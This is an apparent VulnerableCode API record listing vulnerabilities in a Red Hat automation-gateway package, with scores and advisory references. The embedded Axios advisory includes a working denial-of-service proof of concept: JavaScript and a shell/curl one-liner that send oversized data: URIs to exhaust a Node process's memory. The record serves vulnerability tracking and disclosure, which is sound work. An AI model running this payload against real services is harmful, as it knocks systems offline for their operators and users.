Lookup for vulnerable packages by Package URL.

GET /api/packages/88158?format=api
HTTP 200 OK
Allow: GET, HEAD, OPTIONS
Content-Type: application/json
Vary: Accept

{
    "url": "http://public2.vulnerablecode.io/api/packages/88158?format=api",
    "purl": "pkg:rpm/redhat/automation-gateway@2.5.20251210-1?arch=el9ap",
    "type": "rpm",
    "namespace": "redhat",
    "name": "automation-gateway",
    "version": "2.5.20251210-1",
    "qualifiers": {
        "arch": "el9ap"
    },
    "subpath": "",
    "is_vulnerable": true,
    "next_non_vulnerable_version": null,
    "latest_non_vulnerable_version": null,
    "affected_by_vulnerabilities": [
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/67613?format=api",
            "vulnerability_id": "VCID-5ahj-2e48-k3bq",
            "summary": "aap-gateway: Improper Path Validation in Gateway Allows Credential Exfiltration",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9909.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-9909.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-9909",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00328",
                            "published_at": "2026-04-26T12:55:00Z"
                        },
                        {
                            "value": "6e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0031",
                            "published_at": "2026-04-18T12:55:00Z"
                        },
                        {
                            "value": "6e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0033",
                            "published_at": "2026-04-24T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0049",
                            "published_at": "2026-04-04T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00489",
                            "published_at": "2026-04-07T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00486",
                            "published_at": "2026-04-08T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00484",
                            "published_at": "2026-04-11T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00481",
                            "published_at": "2026-04-12T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00483",
                            "published_at": "2026-04-13T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.0048",
                            "published_at": "2026-04-16T12:55:00Z"
                        },
                        {
                            "value": "7e-05",
                            "scoring_system": "epss",
                            "scoring_elements": "0.00496",
                            "published_at": "2026-04-02T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-9909"
                },
                {
                    "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392836",
                    "reference_id": "2392836",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2392836"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.5::el8",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform:2.5::el8",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.5::el8"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.5::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform:2.5::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.5::el9"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.6::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform:2.6::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform:2.6::el9"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.5::el8"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.5::el9"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_developer:2.6::el9"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.5::el8"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.5::el9"
                },
                {
                    "reference_url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9",
                    "reference_id": "cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://nvd.nist.gov/vuln/search/results?adv_search=true&isCpeNameSearch=true&query=cpe:/a:redhat:ansible_automation_platform_inside:2.6::el9"
                },
                {
                    "reference_url": "https://access.redhat.com/security/cve/CVE-2025-9909",
                    "reference_id": "CVE-2025-9909",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://access.redhat.com/security/cve/CVE-2025-9909"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:21768",
                    "reference_id": "RHSA-2025:21768",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://access.redhat.com/errata/RHSA-2025:21768"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:21775",
                    "reference_id": "RHSA-2025:21775",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://access.redhat.com/errata/RHSA-2025:21775"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:23069",
                    "reference_id": "RHSA-2025:23069",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://access.redhat.com/errata/RHSA-2025:23069"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2025:23131",
                    "reference_id": "RHSA-2025:23131",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "6.7",
                            "scoring_system": "cvssv3.1",
                            "scoring_elements": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
                        },
                        {
                            "value": "Track",
                            "scoring_system": "ssvc",
                            "scoring_elements": "SSVCv2/E:N/A:N/T:T/P:M/B:A/M:M/D:T/2026-02-27T18:42:58Z/"
                        }
                    ],
                    "url": "https://access.redhat.com/errata/RHSA-2025:23131"
                }
            ],
            "fixed_packages": [],
            "aliases": [
                "CVE-2025-9909"
            ],
            "risk_score": 3.0,
            "exploitability": "0.5",
            "weighted_severity": "6.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-5ahj-2e48-k3bq"
        },
        {
            "url": "http://public2.vulnerablecode.io/api/vulnerabilities/22234?format=api",
            "vulnerability_id": "VCID-9uzd-mmyv-mfh4",
            "summary": "Django vulnerable to SQL injection via _connector keyword argument in QuerySet and Q objects.\nAn issue was discovered in 5.1 before 5.1.14, 4.2 before 4.2.26, and 5.2 before 5.2.8.\nThe methods `QuerySet.filter()`, `QuerySet.exclude()`, and `QuerySet.get()`, and the class `Q()`, are subject to SQL injection when using a suitably crafted dictionary, with dictionary expansion, as the `_connector` argument.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank cyberstan for reporting this issue.",
            "references": [
                {
                    "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-64459.json",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "8.3",
                            "scoring_system": "cvssv3",
                            "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L"
                        }
                    ],
                    "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2025-64459.json"
                },
                {
                    "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2025-64459",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [
                        {
                            "value": "0.00191",
                            "scoring_system": "epss",
                            "scoring_elements": "0.41087",
                            "published_at": "2026-04-02T12:55:00Z"
                        },
                        {
                            "value": "0.00256",
                            "scoring_system": "epss",
                            "scoring_elements": "0.49025",
                            "published_at": "2026-04-26T12:55:00Z"
                        },
                        {
                            "value": "0.00256",
                            "scoring_system": "epss",
                            "scoring_elements": "0.49016",
                            "published_at": "2026-04-24T12:55:00Z"
                        },
                        {
                            "value": "0.00256",
                            "scoring_system": "epss",
                            "scoring_elements": "0.49031",
                            "published_at": "2026-04-21T12:55:00Z"
                        },
                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68818",
                            "published_at": "2026-04-11T12:55:00Z"
                        },
                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68804",
                            "published_at": "2026-04-12T12:55:00Z"
                        },
                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68724",
                            "published_at": "2026-04-07T12:55:00Z"
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                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68747",
                            "published_at": "2026-04-04T12:55:00Z"
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                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68774",
                            "published_at": "2026-04-13T12:55:00Z"
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                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68776",
                            "published_at": "2026-04-08T12:55:00Z"
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                        {
                            "value": "0.00576",
                            "scoring_system": "epss",
                            "scoring_elements": "0.68795",
                            "published_at": "2026-04-09T12:55:00Z"
                        },
                        {
                            "value": "0.00642",
                            "scoring_system": "epss",
                            "scoring_elements": "0.70648",
                            "published_at": "2026-04-18T12:55:00Z"
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                        {
                            "value": "0.00642",
                            "scoring_system": "epss",
                            "scoring_elements": "0.7064",
                            "published_at": "2026-04-16T12:55:00Z"
                        }
                    ],
                    "url": "https://api.first.org/data/v1/epss?cve=CVE-2025-64459"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14232",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-14232"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41164",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41164"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43665",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-43665"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24680",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-24680"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27351",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-27351"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39329",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39329"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39330",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39330"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39614",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-39614"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41989",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41989"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41991",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-41991"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42005",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-42005"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45231",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-45231"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53907",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-53907"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56374",
                    "reference_id": "",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-56374"
                },
                {
                    "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-13372",
                    "reference_id": "",
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            "summary": "Axios is vulnerable to DoS attack through lack of data size check\n## Summary\n\nWhen Axios runs on Node.js and is given a URL with the `data:` scheme, it does not perform HTTP. Instead, its Node http adapter decodes the entire payload into memory (`Buffer`/`Blob`) and returns a synthetic 200 response.\nThis path ignores `maxContentLength` / `maxBodyLength` (which only protect HTTP responses), so an attacker can supply a very large `data:` URI and cause the process to allocate unbounded memory and crash (DoS), even if the caller requested `responseType: 'stream'`.\n\n## Details\n\nThe Node adapter (`lib/adapters/http.js`) supports the `data:` scheme. When `axios` encounters a request whose URL starts with `data:`, it does not perform an HTTP request. Instead, it calls `fromDataURI()` to decode the Base64 payload into a Buffer or Blob.\n\nRelevant code from [`[httpAdapter](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L231):\n\n```js\nconst fullPath = buildFullPath(config.baseURL, config.url, config.allowAbsoluteUrls);\nconst parsed = new URL(fullPath, platform.hasBrowserEnv ? platform.origin : undefined);\nconst protocol = parsed.protocol || supportedProtocols[0];\n\nif (protocol === 'data:') {\n  let convertedData;\n  if (method !== 'GET') {\n    return settle(resolve, reject, { status: 405, ... });\n  }\n  convertedData = fromDataURI(config.url, responseType === 'blob', {\n    Blob: config.env && config.env.Blob\n  });\n  return settle(resolve, reject, { data: convertedData, status: 200, ... });\n}\n```\n\nThe decoder is in [`[lib/helpers/fromDataURI.js](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/helpers/fromDataURI.js#L27):\n\n```js\nexport default function fromDataURI(uri, asBlob, options) {\n  ...\n  if (protocol === 'data') {\n    uri = protocol.length ? uri.slice(protocol.length + 1) : uri;\n    const match = DATA_URL_PATTERN.exec(uri);\n    ...\n    const body = match[3];\n    const buffer = Buffer.from(decodeURIComponent(body), isBase64 ? 'base64' : 'utf8');\n    if (asBlob) { return new _Blob([buffer], {type: mime}); }\n    return buffer;\n  }\n  throw new AxiosError('Unsupported protocol ' + protocol, ...);\n}\n```\n\n* The function decodes the entire Base64 payload into a Buffer with no size limits or sanity checks.\n* It does **not** honour `config.maxContentLength` or `config.maxBodyLength`, which only apply to HTTP streams.\n* As a result, a `data:` URI of arbitrary size can cause the Node process to allocate the entire content into memory.\n\nIn comparison, normal HTTP responses are monitored for size, the HTTP adapter accumulates the response into a buffer and will reject when `totalResponseBytes` exceeds [`[maxContentLength](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550)`](https://github.com/axios/axios/blob/c959ff29013a3bc90cde3ac7ea2d9a3f9c08974b/lib/adapters/http.js#L550). No such check occurs for `data:` URIs.\n\n\n## PoC\n\n```js\nconst axios = require('axios');\n\nasync function main() {\n  // this example decodes ~120 MB\n  const base64Size = 160_000_000; // 120 MB after decoding\n  const base64 = 'A'.repeat(base64Size);\n  const uri = 'data:application/octet-stream;base64,' + base64;\n\n  console.log('Generating URI with base64 length:', base64.length);\n  const response = await axios.get(uri, {\n    responseType: 'arraybuffer'\n  });\n\n  console.log('Received bytes:', response.data.length);\n}\n\nmain().catch(err => {\n  console.error('Error:', err.message);\n});\n```\n\nRun with limited heap to force a crash:\n\n```bash\nnode --max-old-space-size=100 poc.js\n```\n\nSince Node heap is capped at 100 MB, the process terminates with an out-of-memory error:\n\n```\n<--- Last few GCs --->\n…\nFATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory\n1: 0x… node::Abort() …\n…\n```\n\nMini Real App PoC:\nA small link-preview service that uses axios streaming, keep-alive agents, timeouts, and a JSON body. It allows data: URLs which axios fully ignore `maxContentLength `, `maxBodyLength` and decodes into memory on Node before streaming enabling DoS.\n\n```js\nimport express from \"express\";\nimport morgan from \"morgan\";\nimport axios from \"axios\";\nimport http from \"node:http\";\nimport https from \"node:https\";\nimport { PassThrough } from \"node:stream\";\n\nconst keepAlive = true;\nconst httpAgent = new http.Agent({ keepAlive, maxSockets: 100 });\nconst httpsAgent = new https.Agent({ keepAlive, maxSockets: 100 });\nconst axiosClient = axios.create({\n  timeout: 10000,\n  maxRedirects: 5,\n  httpAgent, httpsAgent,\n  headers: { \"User-Agent\": \"axios-poc-link-preview/0.1 (+node)\" },\n  validateStatus: c => c >= 200 && c < 400\n});\n\nconst app = express();\nconst PORT = Number(process.env.PORT || 8081);\nconst BODY_LIMIT = process.env.MAX_CLIENT_BODY || \"50mb\";\n\napp.use(express.json({ limit: BODY_LIMIT }));\napp.use(morgan(\"combined\"));\n\napp.get(\"/healthz\", (req,res)=>res.send(\"ok\"));\n\n/**\n * POST /preview { \"url\": \"<http|https|data URL>\" }\n * Uses axios streaming but if url is data:, axios fully decodes into memory first (DoS vector).\n */\n\napp.post(\"/preview\", async (req, res) => {\n  const url = req.body?.url;\n  if (!url) return res.status(400).json({ error: \"missing url\" });\n\n  let u;\n  try { u = new URL(String(url)); } catch { return res.status(400).json({ error: \"invalid url\" }); }\n\n  // Developer allows using data:// in the allowlist\n  const allowed = new Set([\"http:\", \"https:\", \"data:\"]);\n  if (!allowed.has(u.protocol)) return res.status(400).json({ error: \"unsupported scheme\" });\n\n  const controller = new AbortController();\n  const onClose = () => controller.abort();\n  res.on(\"close\", onClose);\n\n  const before = process.memoryUsage().heapUsed;\n\n  try {\n    const r = await axiosClient.get(u.toString(), {\n      responseType: \"stream\",\n      maxContentLength: 8 * 1024, // Axios will ignore this for data:\n      maxBodyLength: 8 * 1024,    // Axios will ignore this for data:\n      signal: controller.signal\n    });\n\n    // stream only the first 64KB back\n    const cap = 64 * 1024;\n    let sent = 0;\n    const limiter = new PassThrough();\n    r.data.on(\"data\", (chunk) => {\n      if (sent + chunk.length > cap) { limiter.end(); r.data.destroy(); }\n      else { sent += chunk.length; limiter.write(chunk); }\n    });\n    r.data.on(\"end\", () => limiter.end());\n    r.data.on(\"error\", (e) => limiter.destroy(e));\n\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    limiter.pipe(res);\n  } catch (err) {\n    const after = process.memoryUsage().heapUsed;\n    res.set(\"x-heap-increase-mb\", ((after - before)/1024/1024).toFixed(2));\n    res.status(502).json({ error: String(err?.message || err) });\n  } finally {\n    res.off(\"close\", onClose);\n  }\n});\n\napp.listen(PORT, () => {\n  console.log(`axios-poc-link-preview listening on http://0.0.0.0:${PORT}`);\n  console.log(`Heap cap via NODE_OPTIONS, JSON limit via MAX_CLIENT_BODY (default ${BODY_LIMIT}).`);\n});\n```\nRun this app and send 3 post requests:\n```sh\nSIZE_MB=35 node -e 'const n=+process.env.SIZE_MB*1024*1024; const b=Buffer.alloc(n,65).toString(\"base64\"); process.stdout.write(JSON.stringify({url:\"data:application/octet-stream;base64,\"+b}))' \\\n| tee payload.json >/dev/null\nseq 1 3 | xargs -P3 -I{} curl -sS -X POST \"$URL\" -H 'Content-Type: application/json' --data-binary @payload.json -o /dev/null```\n```\n\n---\n\n## Suggestions\n\n1. **Enforce size limits**\n   For `protocol === 'data:'`, inspect the length of the Base64 payload before decoding. If `config.maxContentLength` or `config.maxBodyLength` is set, reject URIs whose payload exceeds the limit.\n\n2. **Stream decoding**\n   Instead of decoding the entire payload in one `Buffer.from` call, decode the Base64 string in chunks using a streaming Base64 decoder. This would allow the application to process the data incrementally and abort if it grows too large.",
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                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:4215",
                    "reference_id": "RHSA-2026:4215",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:4215"
                },
                {
                    "reference_url": "https://access.redhat.com/errata/RHSA-2026:6226",
                    "reference_id": "RHSA-2026:6226",
                    "reference_type": "",
                    "scores": [],
                    "url": "https://access.redhat.com/errata/RHSA-2026:6226"
                }
            ],
            "fixed_packages": [],
            "aliases": [
                "CVE-2025-58754",
                "GHSA-4hjh-wcwx-xvwj"
            ],
            "risk_score": 4.0,
            "exploitability": "0.5",
            "weighted_severity": "8.0",
            "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-aq84-8cnz-byax"
        }
    ],
    "fixing_vulnerabilities": [],
    "risk_score": "10.0",
    "resource_url": "http://public2.vulnerablecode.io/packages/pkg:rpm/redhat/automation-gateway@2.5.20251210-1%3Farch=el9ap"
}